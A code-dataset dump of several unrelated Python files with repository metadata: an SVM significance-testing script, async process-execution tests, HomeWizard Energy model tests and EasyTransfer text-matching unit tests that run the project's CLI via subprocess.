'results/significance_testing/CC_loss_a') write_out_predictions(b, 'results/significance_testing/CC_loss_b') #BCF - aggression (full model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'aggress' feats = [1, 1, 'u', 0, 'min_max/all', 1500] C=0.4 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) a = results[-1] #BCF - aggression (unigram model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'aggress' feats = [1, 0, 'n', 0, 'n', 1500] C=0.4 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) b = results[-1] print len(a) #TESTING print len(b) #TESTING print 'p value of BCF aggression = '+str(scipy.stats.ttest_ind(a, b)[1]) print write_out_predictions(a, 'results/significance_testing/BCF_aggress_a') write_out_predictions(b, 'results/significance_testing/BCF_aggress_b') #BCF - loss (full model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'loss' feats = [1, 0, 'b', 0, 'none', 700] C=0.4 loss = 'squared_hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) a = results[-1] #BCF - loss (unigram model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'loss' feats = [1, 0, 'n', 0, 'none', 700] C=0.4 loss = 'squared_hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) b = results[-1] print len(a) #TESTING print len(b) #TESTING print 'p value of BCF loss = '+str(scipy.stats.ttest_ind(a, b)[1]) print write_out_predictions(a, 'results/significance_testing/BCF_loss_a') write_out_predictions(b, 'results/significance_testing/BCF_loss_b') #BCF - aggress+loss (full model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'loss_aggress' feats = [1, 1, 'b', 0, 'n', 800] C=0.5 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) a = results[-1] #BCF - aggress+loss (unigram model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'loss_aggress' feats = [1, 0, 'n', 0, 'n', 800] C=0.5 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) b = results[-1] print len(a) #TESTING print len(b) #TESTING print 'p value of BCF aggress+loss = '+str(scipy.stats.ttest_ind(a, b)[1]) print write_out_predictions(a, 'results/significance_testing/BCF_loss_aggress_a') write_out_predictions(b, 'results/significance_testing/BCF_loss_aggress_b') #BCS - aggression (full model) train_file = 'data/_train/train_aggress_loss.csv' dev_file = 'data/_test/test_aggress_loss.csv' model = 'svm' label = 'aggress' feats = [1, 1, 'n', 0, 'min_max/all', 1500] C=0.3 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) a = results[-1] #BCS - aggression (unigram model) train_file = 'data/_train/train_aggress_loss.csv' dev_file = 'data/_test/test_aggress_loss.csv' model = 'svm' label = 'aggress' feats = [1, 0, 'n', 0, 'n', 1500] C=0.3 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) b = results[-1] print len(a) #TESTING print len(b) #TESTING print 'p value of BCS aggression = '+str(scipy.stats.ttest_ind(a, b)[1]) print write_out_predictions(a, 'results/significance_testing/BCS_aggress_a') write_out_predictions(b, 'results/significance_testing/BCS_aggress_b') #BCS - loss (full model) train_file = 'data/_train/train_aggress_loss.csv' dev_file = 'data/_test/test_aggress_loss.csv' model = 'svm' label = 'loss' feats = [1, 0, 'u', 0, 'min_max/all', 1000] C=0.3 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) a = results[-1] #BCS - loss (unigram model) train_file = 'data/_train/train_aggress_loss.csv' dev_file = 'data/_test/test_aggress_loss.csv' model = 'svm' label = 'loss' feats = [1, 0, 'n', 0, 'n', 1000] C=0.3 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) b = results[-1] print len(a) #TESTING print len(b) #TESTING print 'p value of BCS loss = '+str(scipy.stats.ttest_ind(a, b)[1]) print write_out_predictions(a, 'results/significance_testing/BCS_loss_a') write_out_predictions(b, 'results/significance_testing/BCS_loss_b')
28.519868
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8,613
4.046353
0.074301
0.050034
0.032345
0.048518
0.914926
0.900101
0.885613
0.879212
0.872473
0.835411
0
0.030487
0.120283
8,613
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201
28.519868
0.752937
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0.171691
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8
736f014d8979418e96d89fb69d953ba9e91cc839
4,097
py
Python
tests/unit/test_process_utils/test_async_execute_process.py
mgorny/osrf_pycommon
7682dd795943025f6133c74f2b7104adc1b80107
[ "Apache-2.0" ]
7
2017-12-04T22:03:35.000Z
2021-12-14T00:40:56.000Z
tests/unit/test_process_utils/test_async_execute_process.py
mgorny/osrf_pycommon
7682dd795943025f6133c74f2b7104adc1b80107
[ "Apache-2.0" ]
46
2015-06-11T21:50:55.000Z
2022-02-15T00:16:24.000Z
tests/unit/test_process_utils/test_async_execute_process.py
mgorny/osrf_pycommon
7682dd795943025f6133c74f2b7104adc1b80107
[ "Apache-2.0" ]
21
2015-06-25T15:36:47.000Z
2022-03-27T12:20:04.000Z
import atexit import os import sys import unittest from .impl_aep_asyncio import run from .impl_aep_asyncio import loop this_dir = os.path.dirname(os.path.abspath(__file__)) test_script = os.path.join( this_dir, 'fixtures', 'execute_process', 'stdout_stderr_ordering.py') test_script_quoted = '"%s"' % test_script if ' ' in test_script else test_script python = sys.executable # This atexit handler ensures the loop is closed after all tests were run. @atexit.register def close_loop(): if not loop.is_closed(): loop.close() class TestProcessUtilsAsyncExecuteProcess(unittest.TestCase): def test_async_execute_process_no_emulation_shell_false_combined(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script])) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stdout) self.assertIn('out 2', stdout) self.assertEqual('', stderr) self.assertEqual(0, retcode) def test_async_execute_process_no_emulation_shell_true_combined(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script_quoted], shell=True)) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stdout) self.assertIn('out 2', stdout) self.assertEqual('', stderr) self.assertEqual(0, retcode) def test_async_execute_process_no_emulation_shell_false(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script], stderr_to_stdout=False)) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stderr) self.assertIn('out 2', stdout) self.assertEqual(0, retcode) def test_async_execute_process_no_emulation_shell_true(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script_quoted], stderr_to_stdout=False, shell=True)) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stderr) self.assertIn('out 2', stdout) self.assertEqual(0, retcode) def test_async_execute_process_with_emulation_shell_false_combined(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script], emulate_tty=True)) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stdout) self.assertIn('out 2', stdout) self.assertEqual('', stderr) self.assertEqual(0, retcode) def test_async_execute_process_with_emulation_shell_true_combined(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script_quoted], emulate_tty=True, shell=True)) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stdout) self.assertIn('out 2', stdout) self.assertEqual('', stderr) self.assertEqual(0, retcode) def test_async_execute_process_with_emulation_shell_false(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script], emulate_tty=True, stderr_to_stdout=False)) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stderr) self.assertIn('out 2', stdout) self.assertEqual(0, retcode) def test_async_execute_process_with_emulation_shell_true(self): stdout, stderr, retcode = loop.run_until_complete(run( [python, test_script_quoted], emulate_tty=True, stderr_to_stdout=False, shell=True)) stdout, stderr = stdout.decode(), stderr.decode() self.assertIn('out 1', stdout) self.assertIn('err 1', stderr) self.assertIn('out 2', stdout) self.assertEqual(0, retcode)
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fb48a690731635dd667d4720b65853c4513a38c6
6,380
py
Python
tests/test_models.py
DCSBL/python-homewizard-energy
e3b08f8f5327e41f1cc2a0389b527ae9e94da80e
[ "Apache-2.0" ]
1
2022-02-28T14:06:08.000Z
2022-02-28T14:06:08.000Z
tests/test_models.py
DCSBL/python-homewizard-energy
e3b08f8f5327e41f1cc2a0389b527ae9e94da80e
[ "Apache-2.0" ]
32
2022-02-11T04:38:57.000Z
2022-03-30T04:43:11.000Z
tests/test_models.py
DCSBL/python-homewizard-energy
e3b08f8f5327e41f1cc2a0389b527ae9e94da80e
[ "Apache-2.0" ]
1
2022-03-14T08:44:08.000Z
2022-03-14T08:44:08.000Z
"""Test for HomeWizard Energy Models.""" import json from datetime import datetime from homewizard_energy import Data, Device, State from . import load_fixtures def test_device_with_expected_parameters(): """TODO.""" device: Device = Device.from_dict(json.loads(load_fixtures("device.json"))) assert device assert device.product_type == "HWE-P1" assert device.product_name == "P1 Meter" assert device.serial == "3c39e7aabbcc" assert device.firmware_version == "2.11" assert device.api_version == "v1" def test_device_with_new_api_version(): """TODO.""" device: Device = Device.from_dict( json.loads(load_fixtures("device_invalid_api.json")) ) assert device assert device.product_type == "HWE-P1" assert device.product_name == "P1 Meter" assert device.serial == "3c39e7aabbcc" assert device.firmware_version == "2.11" assert device.api_version == "v2" def test_device_with_unknown_datafields(): """TODO.""" device: Device = Device.from_dict( json.loads(load_fixtures("device_extra_parameters.json")) ) assert device assert device.product_type == "HWE-P1" assert device.product_name == "P1 Meter" assert device.serial == "3c39e7aabbcc" assert device.firmware_version == "2.11" assert device.api_version == "v1" def test_data_p1(): """TODO.""" data: Data = Data.from_dict(json.loads(load_fixtures("data_p1.json"))) assert data assert data.smr_version == 50 assert data.meter_model == "ISKRA 2M550T-101" assert data.wifi_ssid == "My Wi-Fi" assert data.wifi_strength == 100 assert data.total_power_import_t1_kwh == 10830.511 assert data.total_power_import_t2_kwh == 2948.827 assert data.total_power_export_t1_kwh == 1285.951 assert data.total_power_export_t2_kwh == 2876.51 assert data.active_power_w == -543 assert data.active_power_l1_w == -676 assert data.active_power_l2_w == 133 assert data.active_power_l3_w == 0 assert data.total_gas_m3 == 2569.646 assert data.gas_timestamp == datetime(2021, 6, 6, 14, 0, 10) def test_data_p1_no_gas(): """TODO.""" data: Data = Data.from_dict(json.loads(load_fixtures("data_p1_no_gas.json"))) assert data assert data.smr_version == 50 assert data.meter_model == "ISKRA 2M550T-101" assert data.wifi_ssid == "My Wi-Fi" assert data.wifi_strength == 100 assert data.total_power_import_t1_kwh == 10830.511 assert data.total_power_import_t2_kwh == 2948.827 assert data.total_power_export_t1_kwh == 1285.951 assert data.total_power_export_t2_kwh == 2876.51 assert data.active_power_w == -543 assert data.active_power_l1_w == -676 assert data.active_power_l2_w == 133 assert data.active_power_l3_w == 0 assert data.total_gas_m3 is None assert data.gas_timestamp is None def test_data_p1_single_phase(): """TODO.""" data: Data = Data.from_dict(json.loads(load_fixtures("data_p1_single_phase.json"))) assert data assert data.smr_version == 50 assert data.meter_model == "ISKRA 2M550T-101" assert data.wifi_ssid == "My Wi-Fi" assert data.wifi_strength == 100 assert data.total_power_import_t1_kwh == 10830.511 assert data.total_power_import_t2_kwh == 2948.827 assert data.total_power_export_t1_kwh == 1285.951 assert data.total_power_export_t2_kwh == 2876.51 assert data.active_power_w == -543 assert data.active_power_l1_w == -676 assert data.active_power_l2_w is None assert data.active_power_l3_w is None assert data.total_gas_m3 == 2569.646 assert data.gas_timestamp == datetime(2021, 6, 6, 14, 0, 10) def test_data_kwh_single_phase(): """TODO.""" data: Data = Data.from_dict(json.loads(load_fixtures("data_kwh_single_phase.json"))) assert data assert data.smr_version is None assert data.meter_model is None assert data.wifi_ssid == "My Wi-Fi" assert data.wifi_strength == 100 assert data.total_power_import_t1_kwh == 10830.511 assert data.total_power_import_t2_kwh is None assert data.total_power_export_t1_kwh == 2948.827 assert data.total_power_export_t2_kwh is None assert data.active_power_w == 640 assert data.active_power_l1_w == 640 assert data.active_power_l2_w is None assert data.active_power_l3_w is None assert data.total_gas_m3 is None assert data.gas_timestamp is None def test_data_kwh_three_phase(): """TODO.""" data: Data = Data.from_dict(json.loads(load_fixtures("data_kwh_three_phase.json"))) assert data assert data.smr_version is None assert data.meter_model is None assert data.wifi_ssid == "My Wi-Fi" assert data.wifi_strength == 100 assert data.total_power_import_t1_kwh == 10830.511 assert data.total_power_import_t2_kwh is None assert data.total_power_export_t1_kwh == 2948.827 assert data.total_power_export_t2_kwh is None assert data.active_power_w == -543 assert data.active_power_l1_w == -676 assert data.active_power_l2_w == 133 assert data.active_power_l3_w == 0 assert data.total_gas_m3 is None assert data.gas_timestamp is None def test_data_energysocket(): """TODO.""" data: Data = Data.from_dict(json.loads(load_fixtures("data_energysocket.json"))) assert data assert data.smr_version is None assert data.meter_model is None assert data.wifi_ssid == "My Wi-Fi" assert data.wifi_strength == 100 assert data.total_power_import_t1_kwh == 10830.511 assert data.total_power_import_t2_kwh is None assert data.total_power_export_t1_kwh == 2948.827 assert data.total_power_export_t2_kwh is None assert data.active_power_w == 123 assert data.active_power_l1_w == 123 assert data.active_power_l2_w is None assert data.active_power_l3_w is None assert data.total_gas_m3 is None assert data.gas_timestamp is None def test_state(): """TODO.""" state: State = State.from_dict(json.loads(load_fixtures("state.json"))) assert state assert not state.power_on assert not state.switch_lock assert state.brightness == 255 state: State = State.from_dict( json.loads(load_fixtures("state_switch_lock_and_brightness.json")) ) assert state assert state.power_on assert state.switch_lock assert state.brightness == 10
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fb4ea23fa43960722df2937ff916cfb49072bc73
22,414
py
Python
unit_tests/appzoo_tests/test_ez_text_match.py
johnson7788/EasyTransfer
7e59935ab663fbdb9be56e7e081e59a2154b5489
[ "Apache-2.0" ]
806
2020-09-02T03:05:24.000Z
2022-03-26T03:45:23.000Z
unit_tests/appzoo_tests/test_ez_text_match.py
johnson7788/EasyTransfer
7e59935ab663fbdb9be56e7e081e59a2154b5489
[ "Apache-2.0" ]
48
2020-09-16T12:53:32.000Z
2022-03-09T09:34:44.000Z
unit_tests/appzoo_tests/test_ez_text_match.py
johnson7788/EasyTransfer
7e59935ab663fbdb9be56e7e081e59a2154b5489
[ "Apache-2.0" ]
151
2020-09-16T12:31:06.000Z
2022-03-24T08:51:47.000Z
# coding=utf-8 # Copyright (c) 2019 Alibaba PAI team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import subprocess import shutil import unittest class TestEzTextMatch(unittest.TestCase): def test_1_train_bert(self): argvs = ['easy_transfer_app', '--mode', 'train', '--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv', '--inputSchema', "example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1", '--firstSequence', 'query1', '--secondSequence', 'query2', '--labelName', 'is_same_question', '--labelEnumerateValues', '0,1', '--checkpointDir', 'ez_text_match_models', '--numEpochs', '1', '--batchSize', '5', '--saveCheckpointSteps', '10000', '--optimizerType', 'adam', '--learningRate', '2e-5', '--modelName', 'text_match_bert', '--distributionStrategy', 'MirroredStrategy', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', '--advancedParameters', """' pretrain_model_name_or_path=google-bert-base-zh # For BERT save_steps=300 log_step_count_steps=100 throttle_secs=100 keep_checkpoint_max=10 lr_decay=polynomial warmup_ratio=0.1 weight_decay_ratio=0 gradient_clip=true num_accumulated_batches=1 eval_batch_size=256 ' """ ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError def test_2_predict_mode(self): argvs = ['easy_transfer_app', '--mode', 'predict', '--inputTable', '../ut_data/ez_text_match/test.csv', '--outputTable', 'ez_text_match.pred.csv', '--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--secondSequence', 'query2', '--appendCols', 'example_id,category,score,query1', '--outputSchema', 'predictions,probabilities,logits', '--checkpointPath', 'ez_text_match_models', '--batchSize', '100', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.pred.csv')) os.remove('ez_text_match.pred.csv') def test_3_evaluate_mode(self): argvs = ['easy_transfer_app', '--mode', 'evaluate', '--inputTable', '../ut_data/ez_text_match/dev.csv', '--checkpointPath', 'ez_text_match_models/model.ckpt-0', '--batchSize', '100' ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError def test_4_export_predict_mode(self): argvs = ['easy_transfer_app', '--mode', 'export', '--checkpointPath', 'ez_text_match_models/model.ckpt-0', '--exportType', 'app_model', '--exportDirBase', 'ez_text_match_models/saved_app_model', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError argvs = ['easy_transfer_app', '--mode', 'predict', '--inputTable', '../ut_data/ez_text_match/test.csv', '--outputTable', 'ez_text_match.pred.csv', '--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--secondSequence', 'query2', '--appendCols', 'example_id,category,score,query1', '--outputSchema', 'predictions,probabilities,logits', '--checkpointPath', 'ez_text_match_models/saved_app_model', '--batchSize', '100', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.pred.csv')) os.remove('ez_text_match.pred.csv') def test_5_ez_bert_feat(self): argvs = ['easy_transfer_app', '--mode', 'export', '--checkpointPath', 'ez_text_match_models/model.ckpt-0', '--exportType', 'ez_bert_feat', '--exportDirBase', 'ez_text_match_models/saved_model', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError argvs = ['ez_bert_feat', '--inputTable', '../ut_data/ez_bert_feat/one.seq.txt', '--outputTable', 'ez_text_match.feats.txt', '--inputSchema', 'example_id:int:1,query1:str:1,label:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--appendCols', 'example_id,label,category,score,xxx', '--outputSchema', 'pool_output,first_token_output,all_hidden_outputs', '--modelName', 'ez_text_match_models/model.ckpt-0', '--sequenceLength', '50', '--batchSize', '1'] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.feats.txt')) os.remove('ez_text_match.feats.txt') shutil.rmtree('ez_text_match_models', ignore_errors=True) def test_6_test_bert_two_tower(self): argvs = ['easy_transfer_app', '--mode', 'train', '--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv', '--inputSchema', "example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1", '--firstSequence', 'query1', '--secondSequence', 'query2', '--labelName', 'is_same_question', '--labelEnumerateValues', '0,1', '--checkpointDir', 'ez_text_match_two_tower_models', '--numEpochs', '1', '--batchSize', '5', '--saveCheckpointSteps', '10000', '--optimizerType', 'adam', '--learningRate', '2e-5', '--modelName', 'text_match_bert_two_tower', '--distributionStrategy', 'MirroredStrategy', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', '--advancedParameters', """' pretrain_model_name_or_path=google-bert-base-zh # For BERT ' """ ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError argvs = ['easy_transfer_app', '--mode', 'predict', '--inputTable', '../ut_data/ez_text_match/test.csv', '--outputTable', 'ez_text_match.pred.csv', '--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--secondSequence', 'query2', '--appendCols', 'example_id,category,score,query1', '--outputSchema', 'predictions,probabilities,logits', '--checkpointPath', 'ez_text_match_two_tower_models/model.ckpt-0', '--batchSize', '100', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.pred.csv')) shutil.rmtree('ez_text_match_two_tower_models', ignore_errors=True) os.remove('ez_text_match.pred.csv') argvs = ['easy_transfer_app', '--mode', 'train', '--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv', '--inputSchema', "example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1", '--firstSequence', 'query1', '--secondSequence', 'query2', '--labelName', 'is_same_question', '--labelEnumerateValues', '0,1', '--checkpointDir', 'ez_text_match_two_tower_models', '--numEpochs', '1', '--batchSize', '5', '--saveCheckpointSteps', '10000', '--optimizerType', 'adam', '--learningRate', '2e-5', '--modelName', 'text_match_bert_two_tower', '--distributionStrategy', 'MirroredStrategy', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', '--advancedParameters', """' pretrain_model_name_or_path=google-bert-base-zh # For BERT projection_dim=128 ' """ ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError argvs = ['easy_transfer_app', '--mode', 'predict', '--inputTable', '../ut_data/ez_text_match/test.csv', '--outputTable', 'ez_text_match.pred.csv', '--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--secondSequence', 'query2', '--appendCols', 'example_id,category,score,query1', '--outputSchema', 'predictions,probabilities,logits', '--checkpointPath', 'ez_text_match_two_tower_models/model.ckpt-0', '--batchSize', '100', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.pred.csv')) os.remove('ez_text_match.pred.csv') argvs = ['easy_transfer_app', '--mode', 'export', '--checkpointPath', 'ez_text_match_two_tower_models/model.ckpt-0', '--exportType', 'ez_bert_feat', '--exportDirBase', 'ez_text_match_two_tower_models/saved_model', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError argvs = ['ez_bert_feat', '--inputTable', '../ut_data/ez_bert_feat/one.seq.txt', '--outputTable', 'ez_text_match.feats.txt', '--inputSchema', 'example_id:int:1,query1:str:1,label:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--appendCols', 'example_id,label,category,score,xxx', '--outputSchema', 'pool_output,first_token_output,all_hidden_outputs', '--modelName', 'ez_text_match_two_tower_models/saved_model', '--sequenceLength', '50', '--batchSize', '1'] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.feats.txt')) os.remove('ez_text_match.feats.txt') shutil.rmtree('ez_text_match_two_tower_models', ignore_errors=True) def test_7_train_dam(self): argvs = ['easy_transfer_app', '--mode', 'train', '--inputTable', '../ut_data/ez_text_match/train_tokenized.csv,../ut_data/ez_text_match/dev_tokenized.csv', '--inputSchema', "query1:str:1,query2:str:1,query1_words:str:1,query2_words:str:1," "query1_chars:str:1,query2_chars:str:1,label:str:1", '--firstSequence', 'query1_words', '--secondSequence', 'query2_words', '--labelName', 'label', '--labelEnumerateValues', '0,1', '--checkpointDir', 'ez_text_match_dam_models', '--numEpochs', '1', '--batchSize', '5', '--saveCheckpointSteps', '10000', '--optimizerType', 'adam', '--learningRate', '1e-3', '--modelName', 'text_match_dam', '--distributionStrategy', 'none', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', '--advancedParameters', """' first_sequence_length=16 second_sequence_length=16 fix_embedding=false max_vocab_size=100 embedding_size=20 hidden_size=10 lr_decay=polynomial warmup_ratio=0.1 weight_decay_ratio=0 gradient_clip=true clip_norm_value=1.0 throttle_secs=10 ' """ ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError argvs = ['easy_transfer_app', '--mode', 'predict', '--inputTable', '../ut_data/ez_text_match/test.csv', '--outputTable', 'ez_text_match.pred.csv', '--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--secondSequence', 'query2', '--appendCols', 'example_id,category,score,query1', '--outputSchema', 'predictions,probabilities,logits', '--checkpointPath', 'ez_text_match_dam_models/', '--batchSize', '100', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.pred.csv')) os.remove('ez_text_match.pred.csv') def test_8_export_predict_dam(self): argvs = ['easy_transfer_app', '--mode', 'export', '--checkpointPath', 'ez_text_match_dam_models/model.ckpt-0', '--exportType', 'app_model', '--exportDirBase', 'ez_text_match_dam_models/saved_app_model', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError argvs = ['easy_transfer_app', '--mode', 'predict', '--inputTable', '../ut_data/ez_text_match/test.csv', '--outputTable', 'ez_text_match.pred.csv', '--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1', '--firstSequence', 'query1', '--secondSequence', 'query2', '--appendCols', 'example_id,category,score,query1', '--outputSchema', 'predictions,probabilities,logits', '--checkpointPath', 'ez_text_match_dam_models/saved_app_model', '--batchSize', '100', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError self.assertTrue(os.path.exists('ez_text_match.pred.csv')) shutil.rmtree('ez_text_match_dam_models', ignore_errors=True) os.remove('ez_text_match.pred.csv') def test_9_regression_bert(self): argvs = ['easy_transfer_app', '--mode', 'train', '--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv', '--inputSchema', "example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1", '--firstSequence', 'query1', '--secondSequence', 'query2', '--labelName', 'score', '--checkpointDir', 'ez_text_match_models', '--numEpochs', '1', '--batchSize', '5', '--saveCheckpointSteps', '10000', '--optimizerType', 'adam', '--learningRate', '2e-5', '--modelName', 'text_match_bert', '--distributionStrategy', 'MirroredStrategy', '--workerCount', '1', '--workerGPU', '1', '--workerCPU', '1', '--advancedParameters', """' pretrain_model_name_or_path=google-bert-base-zh # For BERT save_steps=300 log_step_count_steps=100 throttle_secs=100 keep_checkpoint_max=10 lr_decay=polynomial warmup_ratio=0.1 weight_decay_ratio=0 gradient_clip=true num_accumulated_batches=1 eval_batch_size=256 ' """ ] print(' '.join(argvs)) try: res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True) print(res) except subprocess.CalledProcessError as e: print(e.output) raise RuntimeError shutil.rmtree('ez_text_match_models', ignore_errors=True) if __name__ == '__main__': unittest.main()
45.742857
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2,097
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0.059738
0.068012
0.027823
0.908347
0.906619
0.901255
0.883433
0.874159
0.86743
0
0.022371
0.351834
22,414
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0.73465
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0
0
0
0
0
7
fbae3bab8353f7bf2ef5ddf0261c1d78e04a692b
887
py
Python
src/traditional/models.py
Bakhtiyar-Habib/CSE327-Project
4126b40eb398e4cf13b49136e552775c5f3b0635
[ "bzip2-1.0.6" ]
null
null
null
src/traditional/models.py
Bakhtiyar-Habib/CSE327-Project
4126b40eb398e4cf13b49136e552775c5f3b0635
[ "bzip2-1.0.6" ]
null
null
null
src/traditional/models.py
